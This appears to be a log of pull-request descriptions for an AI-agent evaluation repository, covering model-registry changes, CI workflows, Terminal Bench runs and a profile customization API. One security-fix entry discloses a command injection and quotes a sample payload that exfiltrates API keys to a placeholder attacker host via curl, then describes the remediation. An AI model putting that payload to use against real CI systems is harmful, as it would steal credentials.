## Summary
- Adds `fireworks:accounts/fireworks/models/glm-5p2` (GLM-5.2) to the
`open-fireworks` and `fireworks` model groups
- Adds `openrouter:z-ai/glm-5.2` (GLM-5.2) to the `open` and
`openrouter` model groups
- Updates the `models:` dropdown in both `evals.yml` and `harbor.yml`
- Regenerates `MODEL_GROUPS.md` via `make model-groups`
## Test plan
- [ ] All 27 `test_models.py` tests pass locally (verified)
- [ ] Dispatch **📊 Evals** with `models_override:
fireworks:accounts/fireworks/models/glm-5p2` and
`eval_categories_exclude: memory`
- [ ] Dispatch **📊 Evals - Harbor** (Terminal Bench) with the same model
override
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Switches terminal-bench Harbor runs to Harbor's LangGraph agent using
the Deep Agents Code harness, wires the LangSmith plugin and runtime env
propagation, removes the custom wrapper/backend, and points Harbor at
the integration fork for plugin validation.
---------
Co-authored-by: Mason Daugherty <mason@langchain.dev>
Pin upper bounds on all `langchain-*`, `harbor`, `langsmith`, and
`deepagents` dependencies in `libs/evals/pyproject.toml` to prevent
unexpected breakage from major-version bumps. Also reorder the Fireworks
model entries in the eval registry and workflow dispatch lists, and drop
`--locked` from `uv sync` calls in CI workflows since `UV_FROZEN=true`
already enforces lockfile fidelity and uv 0.11 rejects combining both
flags.
Add human-readable display labels (`display_name`, `provider_label`) to
every `Model` in the registry so that chart legends, doc headings, and
workflow dropdowns render curated names instead of raw spec slugs like
`anthropic:claude-sonnet-4-6`. Also prune outdated/removed models across
Anthropic, Ollama, OpenAI, and Fireworks, and sync the
`evals.yml`/`harbor.yml` dropdowns to match.
Add an exclude filter to the eval runner so specific categories can be
skipped without having to enumerate every other category. Previously,
running "all categories except memory" required listing every category
individually in the include filter.
Drop the numeric index prefix from `_artifact_key` and enforce
uniqueness through dedupe + collision detection instead. The old
zero-padded index (`000-`, `001-`, ...) was a blunt disambiguator that
made artifact names harder to scan — since `_resolve_models` already
controls what specs enter the matrix, uniqueness is better guaranteed at
the source.
## Changes
- Remove the `index` parameter from `_artifact_key` and `_matrix_entry`,
dropping the `{index:03d}-` prefix so artifact keys are just the
slugified spec (e.g., `anthropic-claude-sonnet-4-6` instead of
`000-anthropic-claude-sonnet-4-6`)
- Add order-preserving dedupe (`dict.fromkeys`) to `_resolve_models`
across both the preset and manual code paths, preventing duplicate specs
from ever reaching `_matrix_outputs`
- Add a collision-detection tripwire in `_matrix_outputs` that raises
`ValueError` with the offending slug and specs if two distinct specs
slugify to the same key — defense-in-depth in case dedupe is ever
bypassed
Replace the single `eval` matrix job — which used GHA `concurrency` to
serialize calls per provider but silently dropped queued runs beyond the
first — with one `workflow_call` job per provider, each running its own
matrix at `max-parallel: 1`. The new shape gives every provider a real
serial queue while preserving cross-provider parallelism, so big
matrices no longer lose work to `concurrency` cancellation.
## Changes
- Fan out the old `eval` job into eleven `eval-<provider>` jobs in
`evals.yml`, each calling a new reusable `_eval.yml` workflow at
`max-parallel: 1`. Cross-provider runs stay parallel.
- Extract the per-model eval body (pytest, results-to-summary heredoc,
optional `analyze_eval_failures.py`, artifact uploads) into
`.github/workflows/_eval.yml` as a `workflow_call` workflow. Inputs are
validated upstream by `_resolve_models`/`_SAFE_SPEC_RE`.
- Add `_matrix_outputs`, `_matrix_entry`, `_provider`, `_artifact_key`
helpers to `.github/scripts/models.py`. `_matrix_outputs` partitions
selected models into `<provider>_matrix`/`<provider>_has_models` outputs
plus a catch-all `other` bucket for `models_override` specs whose
provider isn't enumerated in `_EVAL_PROVIDER_OUTPUTS`. `_artifact_key`
produces stable, globally unique upload names
(`000-anthropic-claude-sonnet-4-6`) so partitioned matrices don't
collide.
- Broaden the helper-script validation job in `ci.yml` from
`test_release_options.py` to `.github/scripts/test_*.py`, so future
helpers are picked up automatically.
- Replace the fragile `EVAL_OUTCOME: contains(toJSON(needs),
'"failure"')` substring scan in the aggregate step with explicit
`needs.eval-*.result` enumeration, and add a `continue-on-error` +
warning fallback to `Generate radar chart` so a chart-generation crash
no longer silently skips uploads.
- Pass `MODEL` into `make evals` via an env var instead of direct
expression interpolation, narrow the `except Exception` in the summary
heredoc to specific exception types with a `traceback.format_exc()`
warning, and gate `Upload failure analysis` on `inputs.analyze_failures`
to drop the spurious `if-no-files-found: warn` on every non-opt-in run.
Add a `docs` model preset to the eval/harbor workflow registry that
mirrors the 7 models showcased in the Deep Agents documentation's "Model
evaluations" table. Lets contributors reproduce the table with a single
dispatch (`gh workflow run evals.yml -f models=docs`) instead of
copy-pasting a `models_override` string.
Introduces a beta customization API for `deepagents` with two extension
points and a matching declarative shape for config-backed profiles:
- **`ProviderProfile`** — consumed by `resolve_model` when turning a
string spec (`"openai:gpt-5.4"`) into a `BaseChatModel` instance. Used
to shape *how the client is built*: `init_chat_model` args,
pre-construction side effects (e.g. credential validation), and args
derived from runtime state (e.g. headers pulled from environment
variables).
- **`HarnessProfile`** — consumed by `create_deep_agent` after the model
is initialized. Used to shape *how the agent runs*: system-prompt
assembly, per-tool description overrides & exclusion, extra & excluded
middleware classes, and tweaks to the auto-added `general-purpose`
subagent (via `GeneralPurposeSubagentProfile`, which can disable,
rename, or re-prompt it).
- **`HarnessProfileConfig`** — declarative shape for YAML/JSON-backed
profiles. Owns `to_dict` / `from_dict`; `register_harness_profile`
accepts either `HarnessProfile` or `HarnessProfileConfig`, so
config-backed callers skip a manual conversion step. Use
`HarnessProfile` when building in Python, `HarnessProfileConfig` when
loading or saving config files.
Both profile types share the same registry key shape — a provider name
(`"openai"`) for provider-wide defaults, or a full `provider:model` spec
(`"openai:gpt-5.4"`) for per-model overrides. Registrations are
additive: re-registering under an existing key merges on top.
```python
from deepagents import (
HarnessProfile,
GeneralPurposeSubagentProfile,
ProviderProfile,
register_harness_profile,
register_provider_profile,
)
# Provider profile: kwargs applied when `resolve_model` calls
# `init_chat_model("openai:...")`. Layers onto the built-in OpenAI profile
# (which already sets `use_responses_api=True`), so the merged registration
# forwards both `use_responses_api=True` and `temperature=0`.
register_provider_profile(
"openai",
ProviderProfile(init_kwargs={"temperature": 0}),
)
# Harness profile: applied by `create_deep_agent` when the selected model
# resolves to `openai:gpt-5.4`. Appends a system-prompt suffix, hides the
# `execute` tool, and skips the auto-added general-purpose subagent (which
# also drops the `task` tool when no other subagents are configured).
register_harness_profile(
"openai:gpt-5.4",
HarnessProfile(
system_prompt_suffix="Respond in under 100 words.",
excluded_tools=frozenset({"execute"}),
general_purpose_subagent=GeneralPurposeSubagentProfile(enabled=False),
),
)
```
Or from config:
```yaml
# openai.yaml
base_system_prompt: You are helpful.
system_prompt_suffix: Respond briefly.
excluded_tools:
- execute
- grep
excluded_middleware:
- SummarizationMiddleware
general_purpose_subagent:
enabled: false
```
```python
import yaml
from deepagents import HarnessProfileConfig, register_harness_profile
with open("openai.yaml") as f:
register_harness_profile(
"openai",
HarnessProfileConfig.from_dict(yaml.safe_load(f)),
)
```
- `register_*_profile` calls are additive — re-registering under the
same key merges on top (chaining `pre_init`, unioning `excluded_tools`
and `excluded_middleware`, merging middleware by type, preserving unset
fields from the existing registration).
- `HarnessProfile.excluded_middleware` intentionally disallows removing
load-bearing scaffolding like `FilesystemMiddleware`,
`SubAgentMiddleware`, and `_PermissionMiddleware`. Attempting to exclude
one will raise `ValueError` when `create_deep_agent` resolves the
harness profile.
- Profile plugins: third-party distributions can register
`ProviderProfile` / `HarnessProfile` entry points under
`deepagents.provider_profiles` / `deepagents.harness_profiles` (see
**Plugin authoring** below). Direct `register_*_profile` calls are the
primary API. Broken third-party plugins log a warning and are skipped
(so one bad distribution cannot prevent `deepagents.profiles` from
importing).
- Profile lookup for pre-built models (e.g. passing `ChatOpenAI(...)`
directly instead of `"openai:gpt-5.4"`) synthesizes the canonical
`provider:identifier` key from the chat model instance. The order is
`provider:identifier` -> identifier-only (only when the identifier
already contains `:`) -> provider-only fallback.
<details>
<summary><b>Built-in profiles</b></summary>
The SDK ships a small set of built-ins that register on first
profile-registry access. All are additive, so user `register_*_profile`
calls layer cleanly on top of these defaults.
**Provider profiles**
- `openai` — sets `use_responses_api=True` so every `openai:*` model
resolves through the Responses API by default.
- `openrouter` — version-checks `langchain-openrouter` (≥ `0.2.0`) via
`pre_init` and injects default app-attribution headers (`app_url`,
`app_title`) via `init_kwargs_factory` when `OPENROUTER_APP_URL` /
`OPENROUTER_APP_TITLE` are unset. An empty-string env var is honored as
an explicit opt-out rather than a missing value.
**Harness profiles**
- `anthropic:claude-opus-4-7` — appends Anthropic's universal Claude
prompting guidance (parallel tool calls, grounded answers,
post-tool-result reflection) plus Opus-4.7-specific overlays steering
tool usage and subagent fan-out, drawn from Anthropic's published
prompting best practices.
- `anthropic:claude-sonnet-4-6` — universal Claude guidance only; no
model-specific overlay. The module exists as an audit anchor:
Anthropic's Sonnet-4.6 guidance is API-level (effort/adaptive thinking)
rather than prompt content, and the over-eagerness/over-thinking
snippets in the guide are tagged for older Opus generations.
- `anthropic:claude-haiku-4-5` — universal Claude guidance only; same
audit-anchor rationale as Sonnet 4.6.
- `openai:gpt-5.1-codex`, `openai:gpt-5.2-codex`, `openai:gpt-5.3-codex`
— Codex-trained behavior: autonomous senior-engineer demeanor, bias to
action, parallel tool use, and TODO hygiene. Keyed per-model (not under
the `openai` provider) so non-Codex OpenAI models keep stock behavior.
</details>
<details>
<summary><b>Plugin authoring</b></summary>
Ship profiles as a pip-installable plugin by declaring entry points in
the distribution's `pyproject.toml`:
```toml
[project.entry-points."deepagents.provider_profiles"]
vertex = "my_pkg.profiles:register"
```
The target resolves to a zero-arg callable that performs the
registrations:
```python
from deepagents import ProviderProfile, register_provider_profile
def register() -> None:
register_provider_profile(
"vertexai",
ProviderProfile(init_kwargs={"temperature": 0}),
)
```
Plugins, built-ins, and direct in-process `register_*_profile` calls all
funnel through the same additive-merge registration, so a later
registration layers on top of an earlier one under the same key.
Load order is built-ins -> entry-point plugins -> any direct user calls
made after `deepagents.profiles` is imported.
</details>
<details>
<summary><b>Scope</b></summary>
The registry key shape is intentionally narrow — either a provider name
or a full `provider:model` spec. There are two shapes the current API
does *not* support, each with a deliberate workaround:
- **Model-only keys ("same model, any provider").** We don't allow
registering a profile keyed on `"gpt-5.4"` that fires for
`openai:gpt-5.4`, `openrouter:openai/gpt-5.4`, and `azure:gpt-5.4`
alike. In practice the model string usually isn't identical across
providers anyway (OpenRouter namespaces with a slash, Bedrock uses a
different scheme, etc.), and provider-specific concerns like rate limits
or tool-calling dialects often want to differ even when the underlying
model is the same. If you want shared defaults across providers, factor
the `HarnessProfile` / `ProviderProfile` instance out and call
`register_*_profile` once per `provider:model` key.
- **Provider-agnostic defaults ("every model, every provider").**
Concerns that apply to **every agent** regardless of model belong on
`create_deep_agent` directly — `middleware=[...]`, `system_prompt=...`,
and `tools=...` already apply unconditionally.
Profiles earn their keep when defaults should *flip based on the
selected model*. Behavior that's identical regardless of model belongs
at the call site.
</details>
<details>
<summary><b>Serialization</b></summary>
## `excluded_middleware`
`excluded_middleware` continues to support both runtime semantics on
`HarnessProfile`:
- Name-based exclusion, matched against `AgentMiddleware.name`
- Exact-class exclusion
`HarnessProfileConfig` only accepts plain middleware-name strings —
exclusion by class works at runtime via `HarnessProfile`, but config
files cannot reference Python classes directly. To keep a private impl
class targetable from config, expose a stable public alias on it via a
`serialized_name: ClassVar[str]`; `.name` returns the alias so
string-form exclusion matches, and `from_harness_profile` serializes the
class back to that alias.
Class-path (`module:Class`) entries in
`HarnessProfileConfig.excluded_middleware` are intentionally rejected
for now and may be added in a follow-up. Open question on that work:
should arbitrary class paths require an explicit allowlist (or some
other opt-in) so loading a config file doesn't silently import
third-party Python code?
Example:
```yaml
excluded_middleware:
- SummarizationMiddleware
```
We have assembly-time guards:
- Required scaffolding middleware (such as `SubAgentMiddleware`) cannot
be excluded
- Private `_`-prefixed string names are rejected
- Every exclusion must match at least one assembled middleware somewhere
## Serialization - `HarnessProfileConfig`
Introduce `HarnessProfileConfig` as the dedicated declarative shape for
YAML/JSON-backed profiles.
`HarnessProfile` remains the runtime/in-code object. It keeps support
for:
- Class-form `excluded_middleware`
- `extra_middleware`
- Factories and live middleware instances
`HarnessProfileConfig` owns `to_dict` / `from_dict` and converts to the
runtime profile when needed. `register_harness_profile` accepts either
`HarnessProfile` or `HarnessProfileConfig`, so config-backed callers do
not need an extra manual conversion step.
In practice, that means:
- Use `HarnessProfileConfig` when loading or saving config files
- Use `HarnessProfile` when building profiles directly in Python
## Export Back To Config
Add `HarnessProfileConfig.from_harness_profile(...)` so a runtime
profile can be saved back out to config when it only uses declarative
features plus serializable excluded-middleware references.
Export rules:
- String-form `excluded_middleware` entries are preserved as-is
- Class-form `excluded_middleware` entries serialize only when the class
advertises a public `serialized_name` alias; classes without an alias
raise `ValueError` on export
- `extra_middleware` remains runtime-only and is still rejected on
export
Serializing arbitrary class-path exclusions (and `extra_middleware`) can
come later as separate features once there is a clear story for trust
boundaries, constructor args, and ordering.
### Example
```yaml
base_system_prompt: You are helpful.
system_prompt_suffix: Respond briefly.
excluded_tools:
- execute
- grep
excluded_middleware:
- SummarizationMiddleware
general_purpose_subagent:
enabled: false
```
```python
import yaml
from deepagents import HarnessProfileConfig, register_harness_profile
with open("openai.yaml") as f:
register_harness_profile(
"openai",
HarnessProfileConfig.from_dict(yaml.safe_load(f)),
)
```
</details>
---------
Co-authored-by: Maahir Sachdev <sachdev.maahir@gmail.com>
Extend the canonical model registry with `moonshotai/Kimi-K2.6` (Baseten
+ OpenRouter) and `moonshotai/kimi-k2.5` (OpenRouter), so both appear in
the eval/harbor workflow dropdowns and model-group documentation.
Adds two OpenAI models to the canonical model registry:
- `openai:gpt-5.5` — mirrors the group membership of `openai:gpt-5.4`
(`set0`, `set1`, `frontier`, `openai` for both `eval:` and `harbor:`
tags).
- `openai:gpt-5.5-pro` — gated behind a new `mega` preset. It is
intentionally excluded from every other group (including the `openai`
provider group) so it only runs when `mega` is selected.
A new `mega` preset is added to `_PRESET_SECTIONS` and to the preset
dropdowns in both `evals.yml` and `harbor.yml`. Both workflows'
individual model choice lists and the evals `analysis_model` dropdown
are updated to include the new specs. `MODEL_GROUPS.md` is regenerated
from the registry.
---------
Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com>
Co-authored-by: Mason Daugherty <61371264+mdrxy@users.noreply.github.com>
Co-authored-by: Mason Daugherty <github@mdrxy.com>
## Summary
- Add `openai:gpt-5.3-codex` to the model registry (`set0`, `set1`,
`openai` groups) and wire it into the `evals` + `harbor` workflow
dropdowns.
- Fix missing `verifier_result` in terminal-bench runs on
LangSmith/Daytona sandboxes.
## Context — verifier fix
Harbor's `Verifier.verify()` calls `environment.exec(...)` without a
cwd. LangSmith's `sandbox.run(cwd=None)` spawns commands from `/` (not
the image's `WORKDIR`), so terminal-bench `test.sh` scripts hit their
`if [ "$PWD" = "/" ]; then exit 1; fi` guard and abort before writing
`/logs/verifier/reward.txt`. The reward file never materializes,
verifier raises `RewardFileNotFoundError`, harbor's outer `except
Exception` swallows it, and `result.json` ends up with `verifier_result:
null` → `add-feedback` logs "no verifier_result" and falls back to 0.0.
`LangSmithEnvironment` now probes `readlink /proc/1/cwd` at `start()` to
resolve the container's runtime `WORKDIR` (PID 1 inherits it from the
image) and uses that as the default cwd for subsequent `exec()` calls.
Falls back to `/app` (terminal-bench convention) if the probe is
inconclusive. Explicit `cwd=...` arguments from callers still win.
---------
Co-authored-by: Mason Daugherty <mason@langchain.dev>
Remove the deprecated `claude-sonnet-4-20250514` model from the registry
and all test/docstring references, enable integration tests in the
release pipeline, and harden CI workflows with GitHub Environment
protection for secret access. Also fixes several latent bugs in test
code (wrong function signatures, v1→v2 assertion format) and adds type
guards to prevent silent regressions.
## Changes
- **Model cleanup**: Drop `anthropic:claude-sonnet-4-20250514` from
`REGISTRY` in `.github/scripts/models.py` and all workflow dispatch
options; update every test and docstring reference to
`claude-sonnet-4-6` (including `SAMPLE_MODEL` in `tests/utils.py`)
- **Release integration tests**: Re-enable integration tests in
`release.yml` (previously hard-disabled with `if: false`), wire up
provider secrets, install `all-sandboxes` extras for CLI releases, and
gate `--ignore` flags for duplicate sandbox tests behind a
`deepagents-cli` package check
- **Environment protection**: Add `environment: evals` to `evals.yml`
and `harbor.yml` jobs, `environment: release` to `release.yml` test job
— secrets now require environment-level approval
- **CI env var hygiene**: Alphabetize all env blocks in
`evals.yml`/`harbor.yml`, remove unused
`MISTRAL_API_KEY`/`DEEPSEEK_API_KEY`, rename `LANGSMITH_TRACING_V2` →
`LANGSMITH_TRACING`
- **Test bug fixes**: Fix `build_composite_state_backend` calls that
passed a positional arg to a keyword-only parameter and passed
`StoreBackend` (class) instead of `StoreBackend()` (instance); add
`isinstance(content, str)` type guards to all v2 content assertions in
`test_filesystem_middleware.py`
- **xfail hardening**: Mark 3 known-failing tests with `strict=True` so
CI breaks when the underlying bug is fixed, preventing stale markers
- **Model routing assertion**: Tighten `startswith()` check in
`test_subagent_middleware.py` to require a `-` separator, preventing
false matches on hypothetical model names sharing a prefix
## Testing
- Add `test_store_backend_write_rejects_existing_file` covering the
`StoreBackend.write` duplicate-file error path
- Relax `test_edit_longterm_memory` from exact string equality to
semantic checks (`"embers" in` / `"fire" not in`) — the LLM edit output
is non-deterministic
- Add `skipif` for `TestAgentCoreIntegration` when AWS credentials are
absent
Add GLM-5.1 to the eval model registry via Ollama and OpenRouter, and
swap `openrouter:nvidia/nemotron-3-super-120b-a12b` out of the `open`
preset in favor of the new GLM entry.
The evals workflow had two UX gaps: concurrent dispatches with
non-overlapping providers blocked each other unnecessarily, and
selecting eval categories required typing exact names from memory. This
fixes both by moving concurrency control to per-provider job-level
groups and splitting the free-text `eval_categories` input into a
dropdown + override pair (mirroring the existing
`models`/`models_override` pattern).
Add section headings ("Model groups", "Provider groups") to the
generated `MODEL_GROUPS.md` so presets are organized by category rather
than listed flat. The duplicated `_EVAL_PRESETS` / `_HARBOR_PRESETS`
dicts are replaced with a single `_PRESET_SECTIONS` structure that
encodes both ordering and grouping, with `_build_presets()` deriving the
flat dicts for runtime use. Provider groups are now alphabetically
sorted, and `all` moves to the end.
Remove duplicate model coverage from `set1` in the eval/harbor model
registry. GLM-5 and MiniMax-M2.5 were each represented twice in `set1` —
once via Baseten and once via Ollama. Since the Baseten-hosted variants
already cover these models, the Ollama entries are redundant and waste
CI minutes.
Add two new model group presets — `frontier` and `fast` — to the unified
model registry. `frontier` targets the strongest reasoning models across
providers (`claude-opus-4-6`, `gemini-3.1-pro-preview`, `gpt-5.4`),
while `fast` targets high-throughput models optimized for speed
(`claude-sonnet-4-6`, `gemini-3-flash-preview`, `gpt-5.4-mini`).
## Changes
- Add `eval:frontier` / `harbor:frontier` tags to
`anthropic:claude-opus-4-6`, `google_genai:gemini-3.1-pro-preview`, and
`openai:gpt-5.4` in `REGISTRY`
- Add `eval:fast` / `harbor:fast` tags to `anthropic:claude-sonnet-4-6`,
`google_genai:gemini-3-flash-preview`, and a new `openai:gpt-5.4-mini`
registry entry
- Register `frontier` and `fast` in both `_EVAL_PRESETS` and
`_HARBOR_PRESETS`
- Add `frontier`, `fast`, and `openai:gpt-5.4-mini` to the workflow
dispatch dropdown options in `evals.yml` and `harbor.yml`
Make the `models` dropdown in the evals workflow optional — when left
empty, `models_override` takes precedence, and if both are empty the
pipeline evaluates all models. Also cleans up the CI job summary to show
only the resolved input (either `models_override` or `models`, not both
plus a footnote), and improves the radar script's empty-results error
with an actionable hint.
## Changes
- Make the `models` dropdown in `evals.yml` non-required with an empty
default, adding `""` as a choice option so users can skip it in favor of
`models_override`
- Simplify the job summary table in both `evals.yml` and `harbor.yml` —
show only the active input (`models_override` if set, otherwise
`models`) instead of dumping both plus a "Resolved" row with footnote
- Fix `openrouter:` prefix missing from
`nvidia/nemotron-3-super-120b-a12b` in the model registry
- Improve `generate_radar.py` empty-results error to name the source
file and hint at cancelled/failed evals as the likely cause
Sort the model registry and workflow dropdowns alphabetically by
provider. The previous ordering was ad-hoc and made it hard to find or
verify a specific provider's models. Also changes the default model set
from `all` to `set0` and adds
`openrouter:nvidia/nemotron-3-super-120b-a12b` as a new eval target.
## Changes
- Reorder `REGISTRY` entries in `models.py` alphabetically by provider
(Anthropic → Baseten → Fireworks → … → xAI) and reformat inline
frozensets to multi-line for readability
- Add `nvidia/nemotron-3-super-120b-a12b` via OpenRouter as a new
eval/harbor target
- Sort the `models` dropdown options in `evals.yml` and `harbor.yml` to
match the new registry order, default selection changed from `all` to
`set0`
- Comment out the `cli` package option in `harbor.yml` pending proper
support
Unify model group presets across eval and harbor workflows. Previously
harbor only supported provider-based presets (`anthropic`, `openai`,
etc.) while evals only supported tier-based presets (`set0`, `set1`,
`set2`, `open`). Both workflows now support both selection modes with
identical model lists. Also swaps `baseten:deepseek-ai/DeepSeek-V3.2` to
`fireworks:fireworks/deepseek-v3p2` since DeepSeek V3.2 isn't available
on Baseten.
## Changes
- Add `harbor:set0`/`set1`/`set2`/`open` tags to every model in
`REGISTRY` mirroring existing `eval:setX` tags, and add
`eval:<provider>` tags mirroring existing `harbor:<provider>` tags —
both workflows now have symmetric tag coverage
- Add tier presets (`set0`–`set2`, `open`) to `_HARBOR_PRESETS` and
provider presets (`anthropic`, `openai`, etc.) to `_EVAL_PRESETS`
- Replace `baseten:deepseek-ai/DeepSeek-V3.2` with
`fireworks:fireworks/deepseek-v3p2` and add it to the `open` set
- Consolidate split Ollama sections into a single `# -- Ollama --`
block; reorder individual model entries in workflow dropdowns to group
by provider consistently
Equalize Harbor's model coverage with the evals workflow. Previously
Harbor only supported Anthropic, OpenAI, and Baseten (3 providers, ~15
models); every other provider was eval-only. Now both workflows cover
the same 47 models across all 10 providers.
Fix command injection in the harbor workflow. The `models_override`
free-text input flows through `models.py` into `matrix.model`, which was
interpolated directly into `run:` blocks via `${{ }}` — inside double
quotes, bash still executes `$(...)` command substitution. A compromised
collaborator PAT could exfiltrate secrets (`ANTHROPIC_API_KEY`,
`OPENAI_API_KEY`, etc.) by crafting a model spec like `provider:$(curl
attacker.com?k=$SECRET)`.
## Changes
- Replace all `${{ matrix.model }}`, `${{ steps.*.outputs.* }}`, and
`${{ steps.*.outcome }}` interpolations inside `run:` blocks in
`harbor.yml` with env var references (`$HARBOR_MODEL`,
`$HARBOR_JOB_DIR`, `$LANGSMITH_EXPERIMENT_NAME`, `$LATEST_JOB_OUTCOME`).
Values are assigned via step/job-level `env:` which sets them in the
process environment without shell parsing.
- Add `_SAFE_SPEC_RE` character whitelist (`^[a-zA-Z0-9:_\-./]+$`) in
`_resolve_models` to reject free-text model specs containing shell
metacharacters (`$`, `` ` ``, `;`, `|`, `&`, etc.) before they reach the
matrix output.
Consolidate the eval and harbor model definitions into a single
tag-based registry, extract LangSmith integration logic from the CLI
script into an importable library module, and add a GitHub Actions
workflow for running Terminal Bench 2 via Harbor with automatic
LangSmith experiment tracking.
## Changes
- **Unified model registry** — replace `get_eval_models.py` with
`models.py`, a shared `REGISTRY` of `Model(spec, groups)` tuples using
`{workflow}:{group}` tags. Both the `evals.yml` and new `harbor.yml`
workflows resolve their matrix from the same source via `python
.github/scripts/models.py {eval|harbor}`
- **Harbor workflow** — add `harbor.yml` with `workflow_dispatch` inputs
for model set, sandbox env, and task count. Pins dataset to
`terminal-bench@2.0`, creates a LangSmith experiment per run, uploads
job artifacts, and pushes `harbor_reward` feedback onto traces
- **LangSmith library module** — move all business logic from
`scripts/harbor_langsmith.py` and `deepagents_harbor/tracing.py` into
`deepagents_harbor/langsmith.py`. The script becomes a thin argparse
wrapper. New `ensure_dataset` function provides idempotent dataset
creation (used by the workflow's pre-run step)
- **Experiment metadata** — `create_experiment` now accepts a `metadata`
dict; `DeepAgentsWrapper.run` attaches `model_name` and `sdk_version` to
every trace so Harbor runs are filterable in LangSmith
- **Safer reward extraction** — `_extract_reward` returns `None`
(instead of silently defaulting to `0.0`) when `result.json` is missing
or malformed; feedback dedup check logs warnings instead of bare
`except: pass`
---------
Co-authored-by: Mason Daugherty <github@mdrxy.com>
Nick Hollon